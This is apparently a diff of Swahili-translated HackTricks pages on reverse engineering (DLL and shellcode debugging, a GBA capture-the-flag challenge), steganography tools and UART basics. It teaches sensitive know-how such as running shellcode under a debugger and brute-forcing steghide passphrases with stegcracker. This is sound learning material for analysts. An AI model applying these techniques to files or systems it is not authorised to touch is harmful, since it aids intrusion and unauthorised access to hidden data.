* **Load rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||
* Chagua **Windbg** debugger
|
||||
* Chagua "**Suspend on library load/unload**"
|
||||
|
||||
.png>)
|
||||
|
||||
* Configure the **parameters** of the execution putting the **path to the DLL** and the function that you want to call:
|
||||
* Sanidi **parameters** za utekelezaji ukitaja **path to the DLL** na kazi unayotaka kuita:
|
||||
|
||||
.png>)
|
||||
|
||||
Then, when you start debugging **the execution will be stopped when each DLL is loaded**, then, when rundll32 load your DLL the execution will be stopped.
|
||||
Kisha, unapozindua kufuatilia makosa **utekelezaji utafungwa wakati kila DLL inapopakuliwa**, kisha, wakati rundll32 inapopakua DLL yako uteketezaji utafungwa.
|
||||
|
||||
But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how.
|
||||
Lakini, unaweza vipi kufikia msimbo wa DLL ambayo ilipakuliwa? Kutumia njia hii, sijui jinsi.
|
||||
|
||||
### Using x64dbg/x32dbg
|
||||
|
||||
* **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Change the Command Line** ( _File --> Change Command Line_ ) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Change _Options --> Settings_ and select "**DLL Entry**".
|
||||
* Then **start the execution**, the debugger will stop at each dll main, at some point you will **stop in the dll Entry of your dll**. From there, just search for the points where you want to put a breakpoint.
|
||||
* **Load rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Change the Command Line** ( _File --> Change Command Line_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Badilisha _Options --> Settings_ na chagua "**DLL Entry**".
|
||||
* Kisha **anzisha utekelezaji**, debugger itasimama kwenye kila dll main, kwa wakati fulani utakuwa **umesimama kwenye dll Entry ya dll yako**. Kutoka hapo, tafuta maeneo ambapo unataka kuweka breakpoint.
|
||||
|
||||
Notice that when the execution is stopped by any reason in win64dbg you can see **in which code you are** looking in the **top of the win64dbg window**:
|
||||
Kumbuka kwamba wakati utekelezaji umesimamishwa kwa sababu yoyote katika win64dbg unaweza kuona **katika msimbo upo** ukiangalia **juu ya dirisha la win64dbg**:
|
||||
|
||||
.png>)
|
||||
|
||||
Then, looking to this ca see when the execution was stopped in the dll you want to debug.
|
||||
Kisha, ukiangalia hii unaweza kuona wakati utekelezaji ulisimamishwa kwenye dll unayotaka kufuatilia makosa.
|
||||
|
||||
## GUI Apps / Videogames
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) ni programu muhimu ya kupata mahali ambapo thamani muhimu zimehifadhiwa ndani ya kumbukumbu ya mchezo unaoendelea na kuzibadilisha. Maelezo zaidi katika:
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) ni programu muhimu ya kupata ambapo thamani muhimu zimehifadhiwa ndani ya kumbukumbu ya mchezo unaoendelea na kuziweka. Maelezo zaidi katika:
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ni chombo cha mbele/kugeuza uhandisi kwa GNU Project Debugger (GDB), kilicholenga michezo. Hata hivyo, kinaweza kutumika kwa mambo yoyote yanayohusiana na uhandisi wa kugeuza.
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ni chombo cha mbele/kujenga upya kwa GNU Project Debugger (GDB), kinachozingatia michezo. Hata hivyo, kinaweza kutumika kwa mambo yoyote yanayohusiana na kujenga upya.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) ni mbele ya wavuti kwa idadi ya decompilers. Huduma hii ya wavuti inakuwezesha kulinganisha matokeo ya decompilers tofauti kwenye executable ndogo.
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) ni chombo cha wavuti kwa decompilers kadhaa. Huduma hii ya wavuti inakuwezesha kulinganisha matokeo ya decompilers tofauti kwenye executable ndogo.
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
|
|
@ -183,11 +175,11 @@ Then, looking to this ca see when the execution was stopped in the dll you want
|
|||
|
||||
### Debugging a shellcode with blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) itatoa **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilitolewa na itasimamisha **utendaji**.\
|
||||
Kisha, unahitaji **kuunganisha debugger** (Ida au x64dbg) kwa mchakato na kuweka **breakpoint kwenye anwani ya kumbukumbu iliyoonyeshwa** na **kuendelea** na utendaji. Kwa njia hii utakuwa unafanya debugging ya shellcode.
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) itafanya **allocation** ya **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangwa na itasimamisha **utekelezaji**.\
|
||||
Kisha, unahitaji **kuungana na debugger** (Ida au x64dbg) kwenye mchakato na kuweka **breakpoint kwenye anwani ya kumbukumbu iliyoonyeshwa** na **kuendelea** na utekelezaji. Kwa njia hii utakuwa unafuatilia shellcode.
|
||||
|
||||
Ukurasa wa kutolewa wa github una zips zinazoshikilia matoleo yaliyokusanywa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner katika kiungo kinachofuata. Ili kulijenga tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike msimbo na ujenge**.
|
||||
Ukurasa wa kutolewa wa github una zips zinazoshikilia toleo zilizokusanywa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kinachofuata. Ili kulijenga tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike msimbo na ujenge**.
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
|
|
@ -195,7 +187,7 @@ Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner katika kiungo kinacho
|
|||
|
||||
### Debugging a shellcode with jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ni sawa sana na blobrunner. Itatoa **shellcode** ndani ya nafasi ya kumbukumbu, na kuanzisha **mzunguko wa milele**. Unahitaji **kuunganisha debugger** kwa mchakato, **cheza anza subiri sekunde 2-5 na bonyeza simama** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye agizo linalofuata la mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ni sawa na blobrunner. Itafanya **allocation** ya **shellcode** ndani ya nafasi ya kumbukumbu, na kuanzisha **mzunguko wa milele**. Kisha unahitaji **kuungana na debugger** kwenye mchakato, **cheza anza subiri sekunde 2-5 na bonyeza simama** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye agizo linalofuata la mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -222,7 +214,7 @@ Unaweza kuona stack kwa mfano ndani ya hex dump:
|
|||
### Deobfuscating shellcode and getting executed functions
|
||||
|
||||
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Itakuambia mambo kama **ni kazi zipi** shellcode inatumia na ikiwa shellcode inajidondoa **katika kumbukumbu**.
|
||||
Itakuambia mambo kama **ni kazi zipi** shellcode inatumia na kama shellcode inajitafsiri **kwenye kumbukumbu**.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
|
@ -235,7 +227,7 @@ scDbg pia ina kipakia picha ambapo unaweza kuchagua chaguzi unazotaka na kutekel
|
|||
|
||||
.png>)
|
||||
|
||||
Chaguo la **Create Dump** litatoa shellcode ya mwisho ikiwa mabadiliko yoyote yamefanywa kwa shellcode kwa njia ya kidijitali katika kumbukumbu (inayofaa kupakua shellcode iliyotafsiriwa). **start offset** inaweza kuwa na manufaa kuanza shellcode katika offset maalum. Chaguo la **Debug Shell** ni muhimu kubaini shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninapata chaguzi zozote zilizofafanuliwa hapo awali kuwa bora kwa jambo hili kwani utaweza kutumia Ida au x64dbg).
|
||||
Chaguo la **Create Dump** litatoa shellcode ya mwisho ikiwa mabadiliko yoyote yatatokea kwa shellcode kwa njia ya kidijitali katika kumbukumbu (inasaidia kupakua shellcode iliyotafsiriwa). **start offset** inaweza kuwa na manufaa kuanza shellcode katika offset maalum. Chaguo la **Debug Shell** ni muhimu kubaini shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninapata chaguzi zozote zilizofafanuliwa hapo awali kuwa bora kwa jambo hili kwani utaweza kutumia Ida au x64dbg).
|
||||
|
||||
### Disassembling using CyberChef
|
||||
|
||||
|
|
@ -243,7 +235,7 @@ Pakia faili yako ya shellcode kama ingizo na tumia mapishi yafuatayo kuikodisha:
|
|||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Obfuscator hii **inasanifu maagizo yote ya `mov`** (ndiyo, ni ya kupendeza sana). Pia inatumia usumbufu kubadilisha mtiririko wa utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
||||
Obfuscator hii **inasanifu maagizo yote ya `mov`** (ndiyo, ni ya kupendeza sana). Pia inatumia usumbufu kubadilisha mwelekeo wa utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
||||
|
||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
|
@ -264,7 +256,7 @@ Ili kupata **nukta ya kuingia** tafuta kazi kwa `::main` kama ilivyo:
|
|||
.png>)
|
||||
|
||||
Katika kesi hii, binary ilitwa authenticator, hivyo ni wazi kwamba hii ndiyo kazi kuu ya kuvutia.\
|
||||
Kuwa na **jina** la **kazi** zinazoitwa, tafuta kwao kwenye **Mtandao** ili kujifunza kuhusu **ingizo** na **matokeo** yao.
|
||||
Kuwa na **jina** la **kazi** zinazoitwa, tafuta kwenye **Mtandao** ili kujifunza kuhusu **ingizo** na **matokeo** yao.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
|
|
@ -274,9 +266,9 @@ Ikiwa unahitaji kubadilisha binary ya Delphi ningependekeza utumie plugin ya IDA
|
|||
|
||||
Bonyeza tu **ATL+f7** (kuagiza plugin ya python katika IDA) na uchague plugin ya python.
|
||||
|
||||
Plugin hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kidinamikia mwanzoni mwa ufuatiliaji. Baada ya kuanza ufuatiliaji bonyeza tena kitufe cha Anza (kile kijani au f9) na breakpoint itagonga mwanzoni mwa msimbo halisi.
|
||||
Plugin hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kidinamikia mwanzoni mwa urekebishaji. Baada ya kuanza urekebishaji bonyeza tena kitufe cha Anza (kile kijani au f9) na breakpoint itagonga mwanzoni mwa msimbo halisi.
|
||||
|
||||
Pia ni ya kuvutia sana kwa sababu ikiwa unabonyeza kitufe katika programu ya picha, ufuatiliaji utaacha katika kazi inayotekelezwa na kitufe hicho.
|
||||
Pia ni ya kuvutia sana kwa sababu ikiwa unabonyeza kitufe katika programu ya picha, urekebishaji utaacha katika kazi inayotekelezwa na kitufe hicho.
|
||||
|
||||
## Golang
|
||||
|
||||
|
|
@ -296,18 +288,18 @@ Katika ukurasa huu unaweza kupata jinsi ya kupata msimbo wa python kutoka kwa bi
|
|||
|
||||
## GBA - Game Body Advance
|
||||
|
||||
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti ili **kuiga** na **kufuatilia**:
|
||||
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti ili **kuiga** na **kurekebisha**:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la ufuatiliaji_) - Inajumuisha ufuatiliaji na kiolesura
|
||||
* [**mgba** ](https://mgba.io)- Inajumuisha ufuatiliaji wa CLI
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la urekebishaji_) - Inajumuisha urekebishaji wenye kiolesura
|
||||
* [**mgba** ](https://mgba.io)- Inajumuisha urekebishaji wa CLI
|
||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin ya Ghidra
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin ya Ghidra
|
||||
|
||||
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguzi --> Usanidi wa Uigaji --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza **vitufe** vya Game Boy Advance
|
||||
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguzi --> Mpangilio wa Uigaji --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza **vitufe** vya Game Boy Advance
|
||||
|
||||
.png>)
|
||||
|
||||
Wakati vinapobonywa, kila **funguo ina thamani** ya kuitambulisha:
|
||||
Wakati vinapobonyeza, kila **funguo ina thamani** ya kuitambulisha:
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
|
@ -387,17 +379,17 @@ FUN_08000864();
|
|||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Katika msimbo wa awali unaweza kuona kwamba tunalinganisha **uVar1** (mahali ambapo **thamani ya kitufe kilichobanwa** iko) na baadhi ya thamani:
|
||||
Katika msimbo uliopita unaweza kuona kwamba tunalinganisha **uVar1** (mahali ambapo **thamani ya kitufe kilichobanwa** iko) na baadhi ya thamani:
|
||||
|
||||
* Kwanza, inalinganishwa na **thamani 4** (**SELECT** kitufe): Katika changamoto hii kitufe kinafuta skrini
|
||||
* Kisha, inalinganishwa na **thamani 8** (**START** kitufe): Katika changamoto hii inakagua kama msimbo ni halali kupata bendera.
|
||||
* Katika kesi hii var **`DAT_030000d8`** inalinganishwa na 0xf3 na ikiwa thamani ni sawa msimbo fulani unatekelezwa.
|
||||
* Katika kesi hii var **`DAT_030000d8`** inalinganishwa na 0xf3 na ikiwa thamani ni sawa baadhi ya msimbo unatekelezwa.
|
||||
* Katika kesi nyingine yoyote, baadhi ya cont (`DAT_030000d4`) inakaguliwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia kwenye msimbo.\
|
||||
**I**kawa chini ya 8 kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinafanywa (kimsingi inaongeza thamani za funguo zilizobanwa katika variable hii mradi cont iwe chini ya 8).
|
||||
|
||||
Hivyo, katika changamoto hii, kujua thamani za vitufe, ulilazimika **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao jumla inayotokana ni 0xf3.**
|
||||
|
||||
**Kitega macho kwa ajili ya mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
**Marejeo kwa ajili ya mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
|
|
@ -408,12 +400,6 @@ Hivyo, katika changamoto hii, kujua thamani za vitufe, ulilazimika **kubonyeza m
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Uondoaji wa binary)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Hard**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -424,7 +410,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,33 +1,25 @@
|
|||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Kutoa Data kutoka kwa Faili**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
Zana ya kutafuta faili za binary kwa ajili ya faili na data zilizofichwa. Inapatikana kupitia `apt` na chanzo chake kinapatikana kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Zana ya kutafuta faili za binary kwa ajili ya faili na data zilizofichwa ndani. Inapatikana kupitia `apt` na chanzo chake kinapatikana kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
|
@ -57,7 +49,7 @@ Tambua aina ya faili unayoshughulika nayo.
|
|||
|
||||
### **Strings**
|
||||
|
||||
Hutoa nyuzi zinazoweza kusomeka kutoka kwa faili, kwa kutumia mipangilio mbalimbali ya uandishi wa habari kuchuja matokeo.
|
||||
Hutoa maandiko yanayosomika kutoka kwa faili, kwa kutumia mipangilio mbalimbali ya uandishi ili kuchuja matokeo.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
|
@ -85,7 +77,7 @@ Makarakteri yasiyoonekana katika nafasi zinazonekana kuwa tupu yanaweza kuficha
|
|||
|
||||
### **Kutambua Maelezo ya Picha kwa GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) hutumika kubaini aina za faili za picha na kutambua uwezekano wa uharibifu. Tekeleza amri iliyo hapa chini ili kukagua picha:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kubaini aina za faili za picha na kutambua uwezekano wa uharibifu. Teua amri iliyo hapa chini ili kukagua picha:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
|
|
@ -95,14 +87,14 @@ Ili kujaribu kurekebisha picha iliyo haribika, kuongeza maoni ya metadata kunawe
|
|||
```
|
||||
### **Steghide kwa Kuficha Data**
|
||||
|
||||
Steghide inarahisisha kuficha data ndani ya faili za `JPEG, BMP, WAV, na AU`, inayoweza kuingiza na kutoa data iliyosimbwa. Usanidi ni rahisi kutumia `apt`, na [kanuni yake ya chanzo inapatikana kwenye GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide inarahisisha kuficha data ndani ya `JPEG, BMP, WAV, na AU` faili, inayoweza kuingiza na kutoa data iliyosimbwa. Usanidi ni rahisi kutumia `apt`, na [kanuni ya chanzo inapatikana kwenye GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Amri:**
|
||||
|
||||
* `steghide info file` inaonyesha kama faili ina data iliyofichwa.
|
||||
* `steghide extract -sf file [--passphrase password]` inatoa data iliyofichwa, nenosiri ni hiari.
|
||||
|
||||
Kwa ajili ya kutoa data mtandaoni, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
|
||||
Kwa utoaji wa mtandaoni, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Shambulio la Bruteforce na Stegcracker:**
|
||||
|
||||
|
|
@ -112,7 +104,7 @@ stegcracker <file> [<wordlist>]
|
|||
```
|
||||
### **zsteg kwa Faili za PNG na BMP**
|
||||
|
||||
zsteg inajikita katika kugundua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, ikiwa na [chanzo kwenye GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg inajikita katika kugundua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, ikiwa na [chanzo chake kwenye GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Amri:**
|
||||
|
||||
|
|
@ -127,7 +119,7 @@ zsteg inajikita katika kugundua data iliyofichwa katika faili za PNG na BMP. Usa
|
|||
|
||||
### **FFT kwa Ugunduzi wa Maudhui ya Fichwa**
|
||||
|
||||
Mbinu za Fast Fourier Transform (FFT) zinaweza kufichua maudhui yaliyofichwa katika picha. Rasilimali muhimu ni pamoja na:
|
||||
Fast Fourier Transform (FFT) mbinu zinaweza kufichua maudhui yaliyofichwa katika picha. Rasilimali muhimu ni pamoja na:
|
||||
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
|
|
@ -186,7 +178,7 @@ Deepsound inaruhusu usimbaji na kugundua habari ndani ya faili za sauti kwa kutu
|
|||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Kifaa kisicho na thamani kwa ukaguzi wa kuona na wa uchambuzi wa faili za sauti, Sonic Visualizer inaweza kufichua vipengele vilivyojificha ambavyo haviwezi kugundulika kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
|
||||
Kifaa kisicho na thamani kwa ukaguzi wa kuona na wa uchambuzi wa faili za sauti, Sonic Visualizer inaweza kufichua vipengele vilivyofichwa ambavyo haviwezi kugundulika kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
|
|
@ -207,17 +199,11 @@ Kwa kubadilisha binary kuwa picha, angalia [dcode](https://www.dcode.fr/binary-i
|
|||
|
||||
Kwa kutafsiri Braille, [Branah Braille Translator](https://www.branah.com/braille-translator) ni rasilimali bora.
|
||||
|
||||
## **Marejeo**
|
||||
## **Marejeleo**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
UART ni protokali ya serial, ambayo inamaanisha inahamisha data kati ya vipengele bit moja kwa wakati. Kinyume chake, protokali za mawasiliano ya sambamba hupeleka data kwa wakati mmoja kupitia njia nyingi. Protokali za kawaida za serial ni pamoja na RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, na USB.
|
||||
|
||||
Kwa ujumla, laini inashikiliwa juu (katika thamani ya mantiki 1) wakati UART iko katika hali ya kupumzika. Kisha, ili kuashiria mwanzo wa uhamisho wa data, mtumaji anatumia bit ya mwanzo kwa mpokeaji, wakati ambapo ishara inashikiliwa chini (katika thamani ya mantiki 0). Kisha, mtumaji anatumia bits tano hadi nane za data zinazojumuisha ujumbe halisi, ikifuatiwa na bit ya parity ya hiari na bit moja au mbili za kusitisha (zikiwa na thamani ya mantiki 1), kulingana na usanidi. Bit ya parity, inayotumika kwa ajili ya kuangalia makosa, haionekani mara nyingi katika mazoezi. Bit ya kusitisha (au bits) inaashiria mwisho wa uhamisho.
|
||||
